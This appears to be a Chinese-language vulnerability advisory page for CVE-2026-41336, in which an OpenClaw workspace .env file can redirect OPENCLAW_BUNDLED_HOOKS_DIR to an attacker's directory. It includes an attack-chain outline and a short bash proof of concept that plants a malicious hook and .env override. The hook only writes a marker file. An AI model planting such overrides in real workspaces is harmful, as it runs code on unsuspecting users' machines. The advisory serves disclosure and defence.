IPBUF安全漏洞报告
English
CVE-2026-41336 CVSS 7.8 高危

CVE-2026-41336 OpenClaw任意代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41336
漏洞类型
任意代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

RCEOpenClaw环境变量覆盖Hook劫持

漏洞概述

OpenClaw在2026年3月31日之前的版本中存在一个严重的安全漏洞。该问题的核心在于应用程序允许工作区内的.env文件覆盖名为OPENCLAW_BUNDLED_HOOKS_DIR的系统环境变量。这一机制使得攻击者能够将Hook代码的加载路径重定向到攻击者控制的目录。由于这些Hook原本是受信任且默认启用的,一旦被替换,攻击者即可利用不受信任的工作空间执行任意代码。成功利用此漏洞可能导致系统被完全控制,造成敏感数据泄露、数据篡改及服务中断等严重后果。

技术细节

该漏洞属于典型的环境变量劫持导致的代码执行问题。OpenClaw在设计上使用Hook机制来扩展功能,这些Hook通常存储在受保护的目录中。然而,在受影响版本中,环境变量解析逻辑存在缺陷,未对来自工作区配置文件的变量覆盖操作进行严格的安全校验。具体而言,当OpenClaw处理一个包含恶意.env文件的工作区时,它会优先读取该文件中的配置。攻击者只需在.env文件中设置`OPENCLAW_BUNDLED_HOOKS_DIR`指向一个包含恶意脚本的本地路径,即可欺骗应用程序。由于攻击向量需要本地访问和用户交互(如用户打开或构建该工作区),但这并不降低其危害性,因为CVSS评分达到了7.8。一旦触发,应用程序会以当前用户权限加载并执行恶意Hook脚本,从而在系统上执行任意命令,完全威胁到系统的机密性、完整性和可用性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者准备一个包含恶意Hook脚本的目录,并设置脚本可执行权限。
STEP 2
步骤2:变量劫持
攻击者在目标工作目录中创建或修改.env文件,写入`OPENCLAW_BUNDLED_HOOKS_DIR`变量指向恶意目录。
STEP 3
步骤3:诱导交互
诱导受害者或用户在包含恶意.env文件的工作区中运行OpenClaw(触发用户交互)。
STEP 4
步骤4:代码执行
OpenClaw加载环境变量,从攻击者指定的路径加载并执行Hook脚本,导致任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-41336 # This PoC demonstrates how to override the hook directory using .env # Step 1: Create a malicious hook script mkdir -p /tmp/evil_hooks cat > /tmp/evil_hooks/pre-build.sh << 'EOF' #!/bin/bash echo "[+] Arbitrary Code Executed via Hook!" > /tmp/pwned.txt whoami >> /tmp/pwned.txt date >> /tmp/pwned.txt EOF chmod +x /tmp/evil_hooks/pre-build.sh # Step 2: Create a .env file in the OpenClaw workspace cat > .env << 'EOF' OPENCLAW_BUNDLED_HOOKS_DIR=/tmp/evil_hooks EOF echo "[+] Malicious .env file created." echo "[+] Malicious hook placed at /tmp/evil_hooks/pre-build.sh" echo "[+] When OpenClaw runs in this directory, it will execute the payload."

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
在官方补丁发布前,用户应避免在不可信的工作目录中运行OpenClaw,并严格审查.env文件内容,防止环境变量被恶意覆盖。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表